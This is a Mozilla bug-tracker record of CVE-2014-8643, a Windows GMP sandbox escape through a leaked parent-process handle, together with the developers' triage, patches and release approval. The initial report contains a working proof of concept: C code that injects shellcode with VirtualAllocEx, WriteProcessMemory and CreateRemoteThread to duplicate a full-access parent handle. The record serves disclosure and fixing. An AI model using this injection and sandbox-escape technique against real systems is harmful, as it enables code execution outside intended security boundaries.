1117140 - (CVE-2014-8643) GMP sandbox break-out on Windows through process handle

Status: RESOLVED FIXED

(Core :: IPC, defect)

Description

[Nils]

The sandboxed plugin-container.exe process on Windows holds a handle to the parent process. We can observe this in windbg:

0:007:x86> !handle 18c 1
Handle 18c
  Type         	Process
0:007:x86> !handle 18c 2
Handle 18c
  Attributes   	0
  GrantedAccess	0x101441:
         Synch
         
  HandleCount  	9
  PointerCount 	283079
0:007:x86> !handle 18c 8
Handle 18c
  Object Specific Information
    Process Id  5868
    Parent Process  1720
    Base Priority 8

While the access rights on this handle are somewhat limited (0x101441) it still allows us to duplicate handles in the parent process (PROCESS_DUP_HANDLE). Using DuplicateHandle we can issue a call that duplicate the process handle from the parent process to our current process (-1 a pseudo handles to the parent and current (sandboxed process):

DuplicateHandle(0x18c, -1, -1, 0, 0, 0, 2)

The call will succeed and a new handle to the parent process is created in the sandboxed child. This handle has full access to the parent which then allows for executing arbitrary code in the parent through CreateRemoteThread:

0:007:x86> !handle 36c 1
Handle 36c
  Type         	Process
0:007:x86> !handle 36c 2
Handle 36c
  Attributes   	0
  GrantedAccess	0x1fffff:
         Delete,ReadControl,WriteDac,WriteOwner,Synch
         
  HandleCount  	9
  PointerCount 	282785
0:007:x86> !handle 36c 8
Handle 36c
  Object Specific Information
    Process Id  5868
    Parent Process  1720
    Base Priority 8


This is a quick and dirty PoC which injects a "shellcode" into the sandboxed process (PID on the command line and address of DuplicateHandle and the Handle are currently hardcoded):


#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>

unsigned char code[] = ""
"\xcc\xcc\x90\x90"
"\x6A\x02"           // PUSH 0 duplicate same access
"\x6A\x00"           // PUSH 0 inherit
"\x6A\x00"           // PUSH 0 dwDesiredAccess
"\x6A\x00"           // PUSH 0 lpTargetHandle
"\x68\xff\xff\xff\xff"//PUSH 0 // hTargetProcessHandle
"\x68\xff\xff\xff\xff"//PUSH 0 // hSourceHandle
"\x68\x8c\x01\x00\x00"//PUSH 18C // hSourceProcessHandle
"\x68\x00\x87\x5f\x76"//PUSH 765f8700  <--- ptr to kernel32!DuplicateHandle
"\x58"		//          POP EAX
"\xFF\xD0"  //          CALL EAX
"\xcc\xcc\x90\x90\xc3";

int _tmain(int argc, _TCHAR* argv[])
{
	INT pid = _wtoi(argv[1]);
	printf("[-] Attaching to process %d\n", pid);
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid);
	printf("[-] Process handle: 0x%x\n", hProcess);
	VOID *dllname = VirtualAllocEx(hProcess, NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, dllname, (void*)code, sizeof(code), NULL);
	printf("[-] remote code: %x\n", dllname);
	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) dllname, dllname, 0, NULL);
	printf("[-] Remote thread: %x\n", hThread);
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
	CloseHandle(hProcess);
	return 0;
}

Comment 1

[Benjamin Smedberg]

I think we rate sandbox escapes as moderate, no?

Nils, do you know what handle this is in the source code?

Comment 2

[Al Billings [:abillings - ex-MoCo]]

(In reply to Benjamin Smedberg  [:bsmedberg] from comment #1)
> I think we rate sandbox escapes as moderate, no?

This is not necessarily the case on discussions with Dan Veditz and others. In fact, I believe we tend to rate them as sec-critical if they allow people to then do bad things.

Comment 3

[Al Billings [:abillings - ex-MoCo]]

Dan, do you want to comment here?

Comment 4

[Nils]

Benjamin, I suspect it is an inherited handle from the parent process. On line http://dxr.mozilla.org/mozilla-central/source/ipc/chromium/src/base/process_util_win.cc#333 bInheritHandles seems to be true.

Are inherited handles being checked at startup currently? There might be others that could lead to break-outs.

Comment 5

[Benjamin Smedberg]

That looks like a bug. We should be passing an explicit list of handles to inherit via (and we are, at http://dxr.mozilla.org/mozilla-central/source/ipc/chromium/src/base/process_util_win.cc#309) but then we end up passing true as bInherit, which will inherit all inheritable handles which may happen to be active in the process.

bobowen, can you look at this?

Comment 6

[Daniel Veditz [:dveditz]]

We can't have it both ways on the rating. You could make the argument that a sandbox escape by itself is not that harmful and should be moderate, but then we should be rating all the other bugs at full strength. If we're downrating other sec-critical bugs "because they're sandboxed" then the sandbox itself is a critical security feature. We've gone to the trouble of creating the sandbox on the assumption the boxed code has bugs, so the rating reflects [escape + assumed bug(s)] and not the escape alone.

Comment 7

[Bob Owen (:bobowen)]

(In reply to Benjamin Smedberg  [:bsmedberg] from comment #5)
> That looks like a bug. We should be passing an explicit list of handles to
> inherit via (and we are, at
> http://dxr.mozilla.org/mozilla-central/source/ipc/chromium/src/base/
> process_util_win.cc#309) but then we end up passing true as bInherit, which
> will inherit all inheritable handles which may happen to be active in the
> process.
> 
> bobowen, can you look at this?

For the sandboxed process the handle inheritance code is here:
http://dxr.mozilla.org/mozilla-central/source/security/sandbox/win/src/broker_services.cc#389

Although it is very similar.

My understanding is that with the list specified it will only inherit handles on the list.
So, I'm not sure where this handle is coming from.
I think if you don't have inherit handles set to true then it won't inherit anything.
I'll try and test this.


Nils - at what point have you stopped the process in windbg?
Also, does Google Chrome have a similar handle to the parent process in its child processes?

Comment 8

[Nils]

Bob - I used this test page ( http://mozilla.github.io/webrtc-landing/pc_test.html ) with "Require H.264" checked and had the video stream running for a few seconds before attaching to the child.

The Google Chrome renderer or GPU child processes don't have any handles to processes.

I found a related discussion in the chromium bug tracker which suggests that bInheritHandles can be false if the handles are inherited explicitly:
https://code.google.com/p/chromium/issues/detail?id=171836

Comment 9

[Bob Owen (:bobowen)]

(In reply to Nils from comment #8)
> Bob - I used this test page (
> http://mozilla.github.io/webrtc-landing/pc_test.html ) with "Require H.264"
> checked and had the video stream running for a few seconds before attaching
> to the child.
> 
> The Google Chrome renderer or GPU child processes don't have any handles to
> processes.
> 
> I found a related discussion in the chromium bug tracker which suggests that
> bInheritHandles can be false if the handles are inherited explicitly:
> https://code.google.com/p/chromium/issues/detail?id=171836

Thanks Nils.
I'm not sure that's quite what the discussion is saying.

However, if this is causing the issue, maybe we can only inherit for debug builds or release builds with a runtime flag / env var.

I'm not sure how much time I'll have to look at this before Monday.

Comment 10

[Randell Jesup [:jesup] (needinfo me)]

This should be elsewhere (with the sandboxing stuff, or somewhere in Plugins::)

Bob, can you reassign the product/component?

Comment 11

[Bob Owen (:bobowen)]

OK, if I try to set inherit handles to false the CreateProcessAsUserW call (in TargetProcess::Create) fails with an ERROR_INVALID_PARAMETER.
So, it seems like you have to have inherit handles as true if you want to pass a handle list to limit the inheritance.

I've also tried commenting out the inheritance code in BrokerServicesBase::SpawnTarget entirely and passing inherit handles as false.
The Process handles to the parent process still appear, so it must be something else that is doing this.
Trying to track it down at the moment, it is appears to be after this point at least:
http://dxr.mozilla.org/mozilla-central/source/toolkit/xre/nsEmbedFunctions.cpp#440

Comment 12

[Bob Owen (:bobowen)]

In fact very shortly after that point, the handle is acquired initially here:
http://dxr.mozilla.org/mozilla-central/source/toolkit/xre/nsEmbedFunctions.cpp#457

Looks like it is copied (or re-acquired) three times for some reason shortly afterwards.

Comment 13

[Bob Owen (:bobowen)]

(In reply to Bob Owen (:bobowen) from comment #12)
> In fact very shortly after that point, the handle is acquired initially here:
> http://dxr.mozilla.org/mozilla-central/source/toolkit/xre/nsEmbedFunctions.
> cpp#457
> 
> Looks like it is copied (or re-acquired) three times for some reason shortly
> afterwards.

The others are newly acquired at:
http://dxr.mozilla.org/mozilla-central/source/gfx/layers/ipc/CompositorChild.cpp#81
http://dxr.mozilla.org/mozilla-central/source/gfx/layers/ipc/ImageBridgeChild.cpp#578
http://dxr.mozilla.org/mozilla-central/source/ipc/glue/BackgroundImpl.cpp#1675

This is for the content process, the GMP process only has the one from nsEmbedFunctions.
So, it looks like these handles need to be closed after they are no longer needed or maybe the permissions on them need to be tightened.

Comment 14

[Bob Owen (:bobowen)]

The IPDL generated code seems to store the parent process handle and use it for logging.
Not sure how else it might be used.

I don't think I'm the best person to continue looking at this.

Comment 15

[Benjamin Smedberg]

I don't know offhand what we use the handle for; I'd have to deep-dive in the history. I'm guessing that it's just a PID or something and we could easily refactor it to avoid the handle, but I don't know.

I don't know who else would own this bug... maybe jimm?

Comment 16

[Jim Mathies [:jimm]]

I can take this, although I'd like to figure out what the priority is because I have other pressing stuff I'm working on at the moment.

From my understanding we currently have a non-restrictive sandbox enabled in Nightly. I'm not sure if that's rolling out any time soon. Higher level restrictions are still being worked on.

So this should probably block general sandboxing rollout.

Comment 17

[Benjamin Smedberg]

This is most important in terms of the GMP sandbox which is already in production. The e10s sandbox could easily wait a while.

Comment 18

[Brad Lassey [:blassey] (use needinfo?)]

(In reply to Jim Mathies [:jimm] from comment #16)
> So this should probably block general sandboxing rollout.
I think the thing we care most about right now is sandboxing the GMP process. So if we can get a fix for that in the short term, I think we can move on and worry about the general problem later. Right?

Comment 19

[Jim Mathies [:jimm]]

Hmm, so I wasn't aware that we have a fully locked down chromium sandbox in use on the release channel for GMP. I guess we need to get this fixed and uplifted asap.

Comment 20

[Jim Mathies [:jimm]]

Looks like this landed in bug 523761.

Comment 21

[Bob Owen (:bobowen)]

(In reply to Bob Owen (:bobowen) from comment #14)
> The IPDL generated code seems to store the parent process handle and use it
> for logging.
> Not sure how else it might be used.
> 
> I don't think I'm the best person to continue looking at this.

Examples of the use for logging can be found in obj-i686-pc-mingw32\ipc\ipdl\PGMPChild.cpp (on my machine).
Search for OtherProcess().
The handle is stored in mOtherProcess when Open (PGMPChild::Open) is called in GMPChild::Init.

Comment 22

[Jim Mathies [:jimm]]

We have a serious problem here that needs to be solved for content processes. The GMP plugin has the same problem, but as luck would have it we don't make use of the parent handle in this child process. With content processes we use the handle for creating transports that are initiated from the child side. We may use it for other things. The parent handle is cached in both the process object and the protocol object and can be accessed from either. It also appears we access it at random times during a run (see comment 13), so simply closing it out shortly after init breaks lots of stuff. Also, placing heavier restrictions on the parent handle doesn't solve it - if I remove PROCESS_DUP_HANDLE [1] rights, ipc Open calls start failing due to CreateTransport [2] failures.

GMP is an interest story. We still open and populate the parent handle via nsEmbedFunctions.cpp initialization code [3]. However in Fx36, we upped the security restrictions [4] on the gmp process, which caused base::OpenProcessHandle to fail. Thanks to a bug in chromium src [5], this failure went unnoticed. So currently on Nightly and Aurora we pass NULL to GMPProcessChild constructor [6], and apparently everything still works and all tests pass.

To work around this I think we need to:

- stop opening up that parent handle and pass NULL to GMPProcessChild() for all repos we are concerned about. Fx36 and higher should already be safe, but you wouldn't know it from looking at the code. [This needs to be confirmed.]

- fix that chromium bug so failures in base::OpenProcessHandle show up

- file a new sec bug on fixing this for all child processes the right way. Note, this looks like a pretty serious flaw in our ipc code, I do not know of a work around at this point.

[1] http://mxr.mozilla.org/mozilla-central/source/ipc/chromium/src/base/process_util_win.cc#71
[2] http://mxr.mozilla.org/mozilla-central/source/ipc/glue/Transport_win.cpp#20
[3] http://mxr.mozilla.org/mozilla-central/source/toolkit/xre/nsEmbedFunctions.cpp#456
[4] bug 1027902
[5] OpenProcess returns NULL on failure, but chromium src checks for -1:
http://mxr.mozilla.org/mozilla-central/source/ipc/chromium/src/base/process_util_win.cc#69
[6] http://mxr.mozilla.org/mozilla-central/source/toolkit/xre/nsEmbedFunctions.cpp#551

Comment 23

[Jim Mathies [:jimm]]

Attachment: debugging patch

Comment 24

[Jim Mathies [:jimm]]

https://treeherder.mozilla.org/ui/#/jobs?repo=try&revision=52f8f30e8edf

Fixing base::OpenProcessHandle triggered a number of aborts in test runs related to failed OpenProcessHandle calls in various places in the code base.

I'm going to strip out the changes I've made in XRE_InitChildProcess and just push a test run with the OpenProcessHandle bug fix to confirm. We'll have to sort this out first.

Comment 25

[Jim Mathies [:jimm]]

Not as bad as this first looked, most if not all of these MOZ_CRASHES point to:

13:23:58     INFO -  Hit MOZ_CRASH(Failed to open process handle!) at c:\builds\moz2_slave\try-w32-d-00000000000000000000\build\src\ipc\glue\BackgroundImpl.cpp:1676
13:23:58     INFO -  #01: mozilla::dom::ContentChild::AllocPBackgroundChild(IPC::Channel *,unsigned long) [dom/ipc/ContentChild.cpp:999]
13:23:58     INFO -  #02: mozilla::dom::PContentChild::OnMessageReceived(IPC::Message const &) [obj-firefox/ipc/ipdl/PContentChild.cpp:6291]
13:23:58     INFO -  #03: mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const &) [ipc/glue/MessageChannel.cpp:1214]
13:23:58     INFO -  #04: mozilla::ipc::MessageChannel::DispatchMessageW(IPC::Message const &) [ipc/glue/MessageChannel.cpp:1140]
13:23:58     INFO -  #05: mozilla::ipc::MessageChannel::OnMaybeDequeueOne() [ipc/glue/MessageChannel.cpp:1124]
13:23:58     INFO -  #06: MessageLoop::RunTask(Task *) [ipc/chromium/src/base/message_loop.cc:362]
13:23:58     INFO -  #07: MessageLoop::DeferOrRunPendingTask(MessageLoop::PendingTask const &) [ipc/chromium/src/base/message_loop.cc:372]
13:23:58     INFO -  #08: MessageLoop::DoWork() [ipc/chromium/src/base/message_loop.cc:447]
13:23:58     INFO -  #09: mozilla::ipc::MessagePumpForChildProcess::Run(base::MessagePump::Delegate *) [ipc/glue/MessagePump.cpp:297]
13:23:58     INFO -  #10: MessageLoop::RunInternal() [ipc/chromium/src/base/message_loop.cc:233]
13:23:58     INFO -  #11: MessageLoop::RunHandler() [ipc/chromium/src/base/message_loop.cc:227]
13:23:58     INFO -  #12: MessageLoop::Run() [ipc/chromium/src/base/message_loop.cc:201]
13:23:58     INFO -  #13: nsBaseAppShell::Run() [widget/nsBaseAppShell.cpp:166]
13:23:58     INFO -  #14: nsAppShell::Run() [widget/windows/nsAppShell.cpp:180]
13:23:58     INFO -  #15: XRE_RunAppShell [toolkit/xre/nsEmbedFunctions.cpp:738]
13:23:58     INFO -  #16: mozilla::ipc::MessagePumpForChildProcess::Run(base::MessagePump::Delegate *) [ipc/glue/MessagePump.cpp:272]
13:23:58     INFO -  #17: MessageLoop::RunInternal() [ipc/chromium/src/base/message_loop.cc:233]
13:23:58     INFO -  #18: MessageLoop::RunHandler() [ipc/chromium/src/base/message_loop.cc:227]
13:23:58     INFO -  #19: MessageLoop::Run() [ipc/chromium/src/base/message_loop.cc:201]
13:23:58     INFO -  #20: XRE_InitChildProcess [toolkit/xre/nsEmbedFunctions.cpp:579]
13:23:58     INFO -  #21: content_process_main(int,char * * const) [ipc/contentproc/plugin-container.cpp:212]
13:23:58     INFO -  #22: wmain [toolkit/xre/nsWindowsWMain.cpp:124]
13:23:58     INFO -  #23: __tmainCRTStartup [f:/dd/vctools/crt/crtw32/startup/crt0.c:255]
13:23:58     INFO -  #24: kernel32 + 0x53c45
13:23:58     INFO -  #25: ntdll + 0x637f5
13:23:58     INFO -  #26: ntdll + 0x637c8
13:23:58     INFO -  ###!!! [Parent][MessageChannel] Error: Channel error: cannot send/recv

Comment 26

[Jim Mathies [:jimm]]

bent, what's this PBackground thing, and does it need to run in content processes? As far as I can tell, it doesn't appear to be working on Window currently.

Comment 27

[Jed Davis [:jld] ⟨⏰|UTC-7⟩ ⟦he/him⟧]

(In reply to Jim Mathies [:jimm] from comment #26)
> bent, what's this PBackground thing

I am not bent, but it's for IPC actors that run on non-main threads.

> and does it need to run in content processes?

My understanding is that it does.

Having browsed the source a bit, I think what's going on here is that each top-level actor has an optional handle to the other process, which it needs on Windows in order to be able to send a file descriptor or shared memory object to it.  Which means we'd need to be able to duplicate them, or change the code so a single handle can be shared (refcounted?), if we're going to create a new top-level actor that needs to send fds/shemems.  (If it doesn't, it at least looks possible to use the three-argument Open() that sets mOtherProcess to kInvalidProcessHandle.)

I can believe that GMP doesn't need mOtherProcess for any actor, because the shmem handling was changed to always create them on the parent side due to interactions with Linux sandboxing (they're backed by temporary files), and I don't think there's any other fd/shmem usage in the protocols?

Comment 28

[Jim Mathies [:jimm]]

(In reply to Jed Davis [:jld] from comment #27)
> (In reply to Jim Mathies [:jimm] from comment #26)
> > bent, what's this PBackground thing
> 
> I am not bent, but it's for IPC actors that run on non-main threads.
> 
> > and does it need to run in content processes?
> 
> My understanding is that it does.
> 
> Having browsed the source a bit, I think what's going on here is that each
> top-level actor has an optional handle to the other process, which it needs
> on Windows in order to be able to send a file descriptor or shared memory
> object to it.  Which means we'd need to be able to duplicate them, or change
> the code so a single handle can be shared (refcounted?), if we're going to
> create a new top-level actor that needs to send fds/shemems.  (If it
> doesn't, it at least looks possible to use the three-argument Open() that
> sets mOtherProcess to kInvalidProcessHandle.)
> 
> I can believe that GMP doesn't need mOtherProcess for any actor, because the
> shmem handling was changed to always create them on the parent side due to
> interactions with Linux sandboxing (they're backed by temporary files), and
> I don't think there's any other fd/shmem usage in the protocols?

Sounds reasonable  since this init code currently fails to duplicate the handle, yet all gmp tests succeed. (I do not know much about the gmp protocols.)

Another twist here, I've run a few of the failing tests locally on Win7, and I can't get them to fail in the same way as try.  I might have jumped the gun a bit on blaming the PBackground code. I'm waiting on my last try push with just the OpenProcessHandle fix to see - 

https://treeherder.mozilla.org/ui/#/jobs?repo=try&revision=5fcb4d05fde6

Comment 29

[Ben Turner (not reading bugmail, use the needinfo flag!)]

Hm, I have no idea what's going on with those failures...

PBackground is how we do all IndexedDB from both parent and child processes, and we have tons of tests running on windows in both child and parent process right now on tinderbox.

I applied your patch locally and everything continues to work, so I think there's something else going on there.

Comment 30

[Bob Owen (:bobowen)]

(In reply to Jim Mathies [:jimm] from comment #24)
> https://treeherder.mozilla.org/ui/#/jobs?repo=try&revision=52f8f30e8edf
> 
> Fixing base::OpenProcessHandle triggered a number of aborts in test runs
> related to failed OpenProcessHandle calls in various places in the code base.

Do we need to fix base::OpenProcessHandle to get the quick fix for GMP?

Comment 31

[Jim Mathies [:jimm]]

(In reply to Bob Owen (:bobowen) from comment #30)
> (In reply to Jim Mathies [:jimm] from comment #24)
> > https://treeherder.mozilla.org/ui/#/jobs?repo=try&revision=52f8f30e8edf
> > 
> > Fixing base::OpenProcessHandle triggered a number of aborts in test runs
> > related to failed OpenProcessHandle calls in various places in the code base.
> 
> Do we need to fix base::OpenProcessHandle to get the quick fix for GMP?

Maybe not assuming we feel confident these failures are try only, which at this point appears to be the case. If so we can skip the chromium fix for now and just land the handle fix. Posting that to try now to see what shows up.

Comment 32

[Jim Mathies [:jimm]]

Attachment: handle fix

Comment 33

[Jim Mathies [:jimm]]

https://treeherder.mozilla.org/ui/#/jobs?repo=try&revision=a136e42901f7

Comment 34

[Jim Mathies [:jimm]]

Taking a step back, I don't think this fix does anything to mitigate this vulnerability. The problem here isn't the duplicated handle, it's the ability for a compromised GMP process to call OpenProcess successfully. If I had code execution in the GMP process, I could iterate PIDs in a call to OpenProcess until I hit on the right one, then from there I can pretty much do anything.

On Nightly, OpenProcess fails thanks to a sandbox upgrade and a restriction tightening (bug 1041775, bug 1027902). The sandbox upgrade landed 2014-11-26 (Fx36). So we are stuck with this vulnerability IMO in Fx35 and lower if we can't uplift these changes.

Comment 35

[Bob Owen (:bobowen)]

(In reply to Jim Mathies [:jimm] from comment #34)
> Taking a step back, I don't think this fix does anything to mitigate this
> vulnerability. The problem here isn't the duplicated handle, it's the
> ability for a compromised GMP process to call OpenProcess successfully. If I
> had code execution in the GMP process, I could iterate PIDs in a call to
> OpenProcess until I hit on the right one, then from there I can pretty much
> do anything.
> 
> On Nightly, OpenProcess fails thanks to a sandbox upgrade and a restriction
> tightening (bug 1041775, bug 1027902). The sandbox upgrade landed 2014-11-26
> (Fx36). So we are stuck with this vulnerability IMO in Fx35 and lower if we
> can't uplift these changes.

It is just the initial integrity level that was changed to low.
The integrity level once the sandbox is properly started is untrusted, so would certainly stop OpenProcess.
This is on release.

That said maybe we could uplift, not sure how painful it might be.

Comment 36

[Jim Mathies [:jimm]]

(In reply to Bob Owen (:bobowen) from comment #35)
> (In reply to Jim Mathies [:jimm] from comment #34)
> > Taking a step back, I don't think this fix does anything to mitigate this
> > vulnerability. The problem here isn't the duplicated handle, it's the
> > ability for a compromised GMP process to call OpenProcess successfully. If I
> > had code execution in the GMP process, I could iterate PIDs in a call to
> > OpenProcess until I hit on the right one, then from there I can pretty much
> > do anything.
> > 
> > On Nightly, OpenProcess fails thanks to a sandbox upgrade and a restriction
> > tightening (bug 1041775, bug 1027902). The sandbox upgrade landed 2014-11-26
> > (Fx36). So we are stuck with this vulnerability IMO in Fx35 and lower if we
> > can't uplift these changes.
> 
> It is just the initial integrity level that was changed to low.
> The integrity level once the sandbox is properly started is untrusted, so
> would certainly stop OpenProcess.
> This is on release.
> 
> That said maybe we could uplift, not sure how painful it might be.

So just to confirm, to get OpenProcess to fail in beta we would have to uplift bug 1027902? Is there anything that you know of currently that prevents us from doing this?

Comment 37

[Jim Mathies [:jimm]]

After chatting bowen about sandbox features:

<bobowen> OpenProcess will already fail after the sandbox has been started
<bobowen> we have to allow higher permission initially to do other start up stuff
<bobowen> we start the sandbox just before we load the GMP Plugin (at least for the GMP Process)
<bobowen> if someone has control of the process before we start the sandbox, we're are sunk anyway
<bobowen> and I'm guessing this could only be achieved by a wider compromise of their system
<jimm> oh I see
<jimm> so, if we never open that handle and leave it around, we're ok later on?
<bobowen> yes

Apparently our sandbox has the ability to change restrictions just prior to loading user content. Which is set here - 

http://mxr.mozilla.org/mozilla-release/source/security/sandbox/win/src/sandboxbroker/sandboxBroker.cpp#160

So prior to user content getting loaded privileged code can call OpenProcess if it wants too, it just needs to clean up afterward so that there are no open handles left around. After user content is loaded, OpenProcess calls will fail due to the untrusted security level we have set mitigating my concern in comment 34. This feature is currently working on release.

So, my original patch that avoids calling OpenProcess and exposing that handle actually will fix this vulnerability.

Comment 38

[Jim Mathies [:jimm]]

Comment on attachment 8545201 [details] [diff] [review]
handle fix

This is green on try. I will file follow ups on the chromium bug, the fallout from chromium bug fix, and fixing this open handle issue for processes that need the handle currently after user content loads.

Comment 39

[Jim Mathies [:jimm]]

I'll push patches to try merged to beta and to release. Drivers need to decide where this is going to land.

Comment 40

[Jim Mathies [:jimm]]

Attachment: mc handle fix

The second block didn't need to shift down and away from the pid processing. Undoing that change.

Comment 41

[Jim Mathies [:jimm]]

mc:
https://treeherder.mozilla.org/ui/#/jobs?repo=try&revision=f10a434f2e7e
ma:
https://treeherder.mozilla.org/ui/#/jobs?repo=try&revision=59b08d8099de
mb:
https://treeherder.mozilla.org/ui/#/jobs?repo=try&revision=5bd4bcb81a36

Comment 42

[Andrew McCreight [:mccr8]]

Setting B2G to unaffected because I don't think we have a GMP sandbox there.

Comment 43

[Jim Mathies [:jimm]]

(In reply to Jim Mathies [:jimm] from comment #41)
> mc:
> https://treeherder.mozilla.org/ui/#/jobs?repo=try&revision=f10a434f2e7e
> ma:
> https://treeherder.mozilla.org/ui/#/jobs?repo=try&revision=59b08d8099de
> mb:
> https://treeherder.mozilla.org/ui/#/jobs?repo=try&revision=5bd4bcb81a36

Try runs are looking good so far. On aurora and beta the M-e10s and infra android failures can be ignored.

Comment 44

[Jed Davis [:jld] ⟨⏰|UTC-7⟩ ⟦he/him⟧]

(In reply to Andrew McCreight [:mccr8] from comment #42)
> Setting B2G to unaffected because I don't think we have a GMP sandbox there.

Confirmed; it's desktop only at this time.

Comment 45

[Jim Mathies [:jimm]]

https://hg.mozilla.org/integration/mozilla-inbound/rev/6c8f62d7fd1c

Comment 46

[Carsten Book [:Tomcat]]

https://hg.mozilla.org/mozilla-central/rev/6c8f62d7fd1c

Comment 47

[Jim Mathies [:jimm]]

Comment on attachment 8545254 [details] [diff] [review]
mc handle fix

Approval Request Comment
[Feature/regressing bug #]:
Caused by long standing bugs in ipc code.
[User impact if declined]:
GMP media plugin sandbox integrity is compromised.
[Describe test coverage new/current, TBPL]:
Landed on mc 1/8/2015, try pushed listed in comment 41.
[Risks and why]:
From what I understand about the GMP protocols this shouldn't regress anything. However we should give this some bake time on mc and QA needs to test GMP functionality as well before we roll out an official release with this.
[String/UUID change made/needed]:
none.

Comment 48

[Andrew McCreight [:mccr8]]

This should have gotten sec-approval before landing, because it is a sec-high or sec-critical bug that affects more than trunk.  We're really late in beta so it may be too late to land this there, particularly for a patch that sounds like it has some risks.

Comment 49

[Jim Mathies [:jimm]]

(In reply to Andrew McCreight [:mccr8] from comment #48)
> This should have gotten sec-approval before landing, because it is a
> sec-high or sec-critical bug that affects more than trunk.  We're really
> late in beta so it may be too late to land this there, particularly for a
> patch that sounds like it has some risks.

My mistake, I don't work on these that often.

https://wiki.mozilla.org/Security/Bug_Approval_Process

Will follow this in the future.

Comment 50

[Al Billings [:abillings - ex-MoCo]]

There really is no way to take this on 35 without respinning all the builds for the release on Tuesday. We already have release candidates.

Comment 51

[Maire Reavy [:mreavy]]

fyi: lsblakk is planning to cut a new release candidate later today, but that means we'd have to land and ship this today.   

Talking with jimm and jesup, the issue is getting some manual testing on this.  I've added ehugg and drno to this bug who can us figure that out.

Per jimm in private irc: "what changed here had very little to do with what gmp actually does. what we did was take away a handle from ipc code that it would use to initiate connections to the browser from the plugin.  afaik, gmp's protocol doesn't do that based on looking over the protocol spec."

So basically this is just closing a security vulnerability, not changing how gmp works.

Comment 52

[Bob Owen (:bobowen)]

(In reply to Maire Reavy [:mreavy] (Plz needinfo me) from comment #51)
> fyi: lsblakk is planning to cut a new release candidate later today, but
> that means we'd have to land and ship this today.   
> 
> Talking with jimm and jesup, the issue is getting some manual testing on
> this.  I've added ehugg and drno to this bug who can us figure that out.
> 
> Per jimm in private irc: "what changed here had very little to do with what
> gmp actually does. what we did was take away a handle from ipc code that it
> would use to initiate connections to the browser from the plugin.  afaik,
> gmp's protocol doesn't do that based on looking over the protocol spec."
> 
> So basically this is just closing a security vulnerability, not changing how
> gmp works.

It's also worth noting that, since bug 1027902 landed on 27-11-2014, on Windows the call to base::OpenProcessHandle has been failing (silently) and we've been passing null to GMPProcessChild's constructor anyway.
It looks like this hasn't caused any problems on Nightly or Aurora since then.

Comment 53

[Lukas Blakk [:lsblakk] use ?needinfo]

Comment on attachment 8545254 [details] [diff] [review]
mc handle fix

Talked this over in IRC with mreavy and we're going to take this in the 35.0 build 3 that is driven by bug 1119189 so that we're not shipping with a sec-critical fix landed and exposed for 6 weeks in other branches.  The manual testing done by jesup, ehugg, drno and mreavy (who know OpenH264 testing better than anybody else at Mozilla -- which is what's at risk here) provides the level of confidence needed to take this risk.

Comment 54

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-aurora/rev/2946946fa0a9
https://hg.mozilla.org/releases/mozilla-beta/rev/38970bbf6e2d

Will merge to m-r when it's looking green on beta.

Comment 55

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-release/rev/38970bbf6e2d

Comment 56

[Randell Jesup [:jesup] (needinfo me)]

tested RC3 on Win7 (win32 build) with OpenH264 forced in pc_test.html.  Looks good. Previously had tested the Try builds including testing crashing the plugin (making sure it got handled right), multiple H.264 calls at once, etc.  Tested Linux for good measure (should be (and was) unaffected).